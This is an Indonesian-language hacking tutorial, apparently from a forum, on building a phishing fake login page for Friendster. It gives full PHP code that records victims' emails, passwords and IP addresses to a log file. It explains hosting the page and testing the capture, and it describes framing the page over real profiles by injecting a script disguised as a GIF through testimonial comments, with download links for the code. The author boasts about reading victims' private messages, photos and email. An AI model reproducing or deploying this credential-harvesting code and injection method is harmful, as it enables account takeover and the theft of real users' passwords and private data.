Jebakan Fake Login
[Compiled]
[ Know-How & Aplicated ]
Kali ini kita bertemu dalam tutorial mengenai pembuatan FRIENDSTER FAKE LOGIN
Penyerangan ini merupakan salah satu bentuk dari PHISING ATTACK.
Banyak yang pengen tau tentang Fake Login ini. Tentang bagaimana membuatnya,
Bagaimana cara kerjanya dan Apa yang didapat…???
Apa itu Fake Login…???
Fake Login dapat diartikan secara kasar sebagai Login Palsu
Fake Login merupakan halaman palsu yang di desain berdasarkan source code pada
halaman login asli milik FRIENDSTER.
Nantinya Fake Login ini akan digunakan untuk menjebak user friendster agar
memasukkan username dan password-nya. Data ini yang akan kita ambil dan kita simpan
dalam log file. Dengan mengetahui username dan password user lainnya, maka kita dapat
leluasa keluar masuk profile korban tersebut. Entah apa yang dilakukan, mulai dari
melihat PRIVATE PICTURE, melihat MESSAGE dan lainnya.
Terkadang password mereka juga sama dengan password yang digunakan pada email
mereka. Hal ini memungkinkan kita untuk membaca isi email dari sang korban.
Mari kita mulai aza yahhh…
Untuk membuat FAKE LOGIN ini, tentunya kita harus mengupload script yang nanti
akan kita buat ke webhosting sehingga dapat diakses oleh public. Dalam bahasa yang
simpel, nantinya kita harus mempunyai URL yang bisa diakses pada browser.
Webhosting yang digunakan terserah kalian. Yang digunakan dalam tutorial ini adalah
RIPWAY. Kenapa memilih RIPWAY…??? Pertama, karena saya punya account di
RIPWAY. Selain itu, menurut saya, RIPWAY relatif lebih mudah digunakan.
OK. Saya anggap kalian sudah mengerti bagaimana penggunaan webhosting.
Selanjutnya saya hanya akan menjelaskan tentang script dan penggunaannya saja.
Untuk membuat halaman palsu, tentunya kita harus mengetahui script apa yang
digunakan oleh FRIENDSTER pada halaman login asli-nya.
Halaman login FRIENDSTER pada awalnya seperti pada skrinsot berikut ini.
Bisa juga pake source pada halaman itu… Cuman kurang pas aza…
Calon korban kita tentunya sudah pada login sebelumnya. Sehingga kita perlu mencari
source code halaman login dengan pesan error.
Hal ini untuk memperjelas maksud dari jebakan kita dan mengurangi kecurigaan dari
calon korban. Sehingga mereka mengira seolah-olah ada kesalahan atau error saat mereka
membuka profile dan diperlukan login ulang.
Jadi halaman yang kita ambil source-nya adalah halaman dengan pesan error.
Perhatikan skrinsot berikut :
Kalian bisa menggunakan source code pada halaman ini.
Silahkan buka http://www.friendster.com/login.php pada browser kalian dan tampilkan
source code-nya. Untuk penggunaMOZILLA FIREFOX dapat mengunakan CTRL+U
Simpan dulu hasil-nya dengan melakukan COPY PASTE pada sebuah NOTEPAD.
Pada tutorial kali ini kita mengunakan halaman error login versi yang laen.
Yang menurut saya lebih OK dan lebih dipercaya sebagai sebuah halaman error.
Sehingga akan mengurangi kecurigaan dari calon korban.
Model halaman error login yang akan kita gunakan dapat dilihat sebagai berikut :
Pada teknik ini, kita tidak melakukan perubahan mendasar pada source dari halaman
login yang sudah kita ambil tadi. Kenapa begitu…???
Saya jelaskan dulu dasar kerjanya yahhh.
Dalam setiap proses login pada friendster, ada dua buah file yang bekerja. Yaitu
login.php dan submit.php yang keduanya berada pada domain asli FRIENDSTER. File
pertama yaitu login.php berfungsi sebagai tampilan atau interface bagi pengguna untuk
melakukan proses login. Dan file kedua yaitu submit.php sebagai perantara untuk
mengirim data yang dimasukkan dalam form login untuk di proses pada server
FRIENDSTER. Kita ngga ngerubah isi login.php karena file ini hanya sebagai tampilan
saja, dan kita biarkan apa adanya agar mengurangi kecurigaan dari calon korban.
Perhatikan cuplikan dari source code halaman login friendster seperti yang kalian simpan
sebelumnya.
Script diatas menjelaskan bahwa segala bentuk informasi yang dimasukkan pada halaman
login.php akan dikirimkan (method=”post”) dan untuk melakukan hal itu diperlukan
sebuah aksi (action=”submit.php”).
Kenapa tidak ada URL yang nyata pada bagian itu…???
Hal ini dikarenakan file submit.php berapa dalam folder yang sama dengan file login.php,
yaitu pada friendster.com.
Karena kita akan melakukan hosting sendiri untuk halaman fake login kita, maka file
submit.php yang kita buat juga harus dalam satu folder yang sama.
Sehingga kita tidak perlu melakukan perubahan pada source halaman login yang kita buat
Sekarang kita liat bagaimana bentuk script yang ada di submit.php
<?php
function validstr($strutama){
if(strstr($strutama,”@”)){return true;}else{ return false;}}
$ip = getenv (‘REMOTE_ADDR’);
$date=date(“dmy.g:i:sa”);
$em=$_POST['email'];
$pw=$_POST['password'];
$referer=$_POST['next'];
if (validstr($em)){
$fl = fopen(‘log.txt‘, ‘a’) or die(“error Opening file”);
fwrite(
$fl,”\r\n$ip;;$date;;\r\n$em;;$pw”) or die(“access Write failed”);
fclose(
$fl); header(“location:$referer”); }
else{
header(“location:http://www.webhosting.kamu/login.php“);}
?>
Begitulah bentuk dari file submit.php yang kita gunakan untuk merekam data.
Perubahan dilakukan pada bagian yang dicetak tebal dan berwarna merah.
File log.txt adalah file dimana nantinya data disimpan. Kalian hanya perlu membuat
sebuah file kosong pada webhosting kalian.
Location disesuaikan dengan URL dari file login.php yang telah kalian upload.
Nah… Daripada kalian susah, saya sudah menyertakan semua source code dari script
yang akan kita pakai pada proses ini.
Silahkan kalian donlot pada url yang diberikan dan ikuti tutorial ini untuk aplikasi-nya.
File login.php
http://www.ziddu.com/downloadlink/1784377/source-login.txt
File submit.php
http://www.ziddu.com/downloadlink/1784379/source-submit.txt
Sekarang buka source-login.txt menggunakan NOTEPAD kemudian SAVE AS dengan
nama login.php kemudian kalian upload pada webhosting sehingga kalian mempunyai
sebuah URL yang dapat diakses secara public, misalnya :
http://h1.ripway.com/gardensate/FAKELOGIN/login.php
Selanjutnya, buka file source-submit.txt dan sesuaikan isi didalam-nya dengan URL login
kalian, termasuk file yang menyimpan hasil jebakan kalian.
Setelah selesai SAVE AS dengan nama submit.php dan upload ke webhosting kalian.
Buat sebuah file kosong dengan NOTEPAD dan beri nama sesuai dengan nama file yang
kalian masukkan dalam script di file submit.php
Dalam contoh ini kita beri nama log.txt
Upload file submit.php dan log.txt ke webhosting kalian dan jadikan dalam satu folder
dengan file login.php yang sudah di upload sebelumnya.
Akhirnya kita mempunyai 3 URL untuk FAKE LOGIN
http://h1.ripway.com/gardensate/FAKELOGIN/login.php
http://h1.ripway.com/gardensate/FAKELOGIN/submit.php
http://h1.ripway.com/gardensate/FAKELOGIN/log.txt
Nah… Pembuatan script selesai. Sekarang kita lakukan pengujian terlebih dahulu.
Hal ini untuk memastikan apakan FAKE LOGIN kita berjalan sempurna atau belum.
Memang URL masih asli. Tenang aza.
Buka login.php yang udah loe bikin…
Masukkan sembarang kata-kata dibagian EMAIL misalnya TEST EMAIL
Masukkan sembarang kata-kata dibagian PASSWORD misalnya TEST PASSWORD
Kemudian klik tombol Log In
Nah… Selanjutnya buka rekaman data kita yang ada pada URL
http://h1.ripway.com/gardensate/FAKELOGIN/log.txt
Upppzzz… Ngga ada apa-apa. Masih kosong. Padahal tadi dah ada data yang masuk.
Apakah ini gagal…???
Tenang aza. Hal ini yang membedakan dengan script sebelumnya.
Ada filter terhadap parameter @ pada input EMAIL untuk menentukan valid atau
tidaknya data yang dimasukkan.
Logikanya begini.Username yang digunakan pada friendster adalah email, dan setiap
email pasti ada karakter @. Bener khan…??? Artinya kalo ngga pake karakter @ berarti
yang dimasukkan itu ngawur alias bukan username pada friendster. OK
Sekarang coba lagi pengetesan selanjutnya.
Masukkan kata-kata dibagian EMAIL misalnya NGETES@YAHOO.COM
Masukkan sembarang kata dibagian PASSWORD misalnya NGETES PASSWORD
Kemudian klik tombol Log In
Refresh URL http://h1.ripway.com/gardensate/FAKELOGIN/log.txt
Nah… Disitu akan tertera seperti pada gambar berikut.
CONGRATULATION
Kalo kalian dah sampe pada bagian ini, maka proses pembuatan FAKE LOGIN telah
selesai. Berikutnya saya akan menjelaskan bagaimana memasang FAKE LOGIN pada
profile friendster. Kita pake versi terbaru aza yahhh…
Dengan metode FRAMING sehingga URL tetap dalam FRIENDSTER.
Framing adalah menimpa halaman yang asli dengan halaman yang sudah kita tentukan…
Dalam hal ini adalah menimpa halaman profile dengan halaman FAKE LOGIN
Bagaimana bentuk script yang akan kita injeksikan…???
Script Framing
http://www.ziddu.com/downloadlink/1707469/hello.gif
http://www.ziddu.com/downloadlink/1707470/hello.txt
Coba kalian liat isi script yang sudah kalian donlot pada link diatas. Buka file tersebut
menggunakan NOTEPAD.
Pada bagian URL FAKE LOGIN, sesuaikan dengan URL FAKE LOGIN kalian masingmasing…
Jangan menggunakan URL milik orang lain… Karena nantinya hasil log
simpanan akan mengarah kepada URL log yang sudah ditentukan seperti proses yang
sudah kalian pelajari sebelum-nya..
Setelah selesai melakukan penyesuaian pada URL selanjutnya SAVE AS dengan ekstensi
terserah kalian. Bisa menggunakan TXT atau GIF seperti yang saya lakukan.
Kenapa menggunakan GIF…??? Hal ini untuk mengelabui target karena nantinya saya
akan menginjeksikan script ini melalui testimonial comment…
Hati-hatilah bagi yang menggunakan testimonial mode auto approve… Hehehehehe…
OK… Upload file yang berisi script tersebut ke hostingan kamu…
Sehingga kita mempunyai sebuah URL EVIL SCRIPT untuk melakukan penyerangan…
Contohnya : [ Jangan dipake... Ini cuman contoh aza...]
http://h1.ripway.com/gardensate/FAKELOGIN/hello.gif
Tenang aza…Walaupun ekstensi-nya GIF, nantinya tidak akan memunculkan gambar…
Oughhhhh… Selanjutnya bagaimana menginjeksikan ke dalam testimonial…???
Tenang… Sabar… Pindah halaman dulu yahhh… Kwakakakakakakaka…
Untuk menginjeksikan ke dalam testimonial target, kita memerlukan sebuah script
linker… Prinsip linker disini sama dengan linker untuk melakukan kustomisasi atau
tweaking profile… Namun dalam hal ini, file yang kita injeksikan adalah EVIL SCRIPT…
Seandainya EVIL SCRIPT ini kita gantikan dengan Script Tweaking… Sah sah saja…
Just remember… Knowledge Such As Double-Edged Knife
Jangan lama-lama aahhh… Mana linker yang jalan di testimonial…
Nah… Linker-nya silahkan kalian donlot disini yahhh…
Linker For Testimonial [ WORKING ALL BROWSER THAT YOU KNOW]
http://www.ziddu.com/downloadlink/1784378/testimonial_linker.txt
Ngga perlu dijelaskan lagi tentang penggunaan-nya…
Kalo kalian masih ngga tau caranya make linker… Mending kalian buang saja tutorial ini
dan ngga usah ngerjain orang pake FAKE LOGIN… Kwakakakakakakakaka…
Masih ada pertanyaan…???
Silahkan kalian bergabung dengan kami di forum.hackers-center.org
Kita bahas bareng disana yahhh…
Nantikan tutorial selanjutnya yang lebih menarik dan menarik lagi…
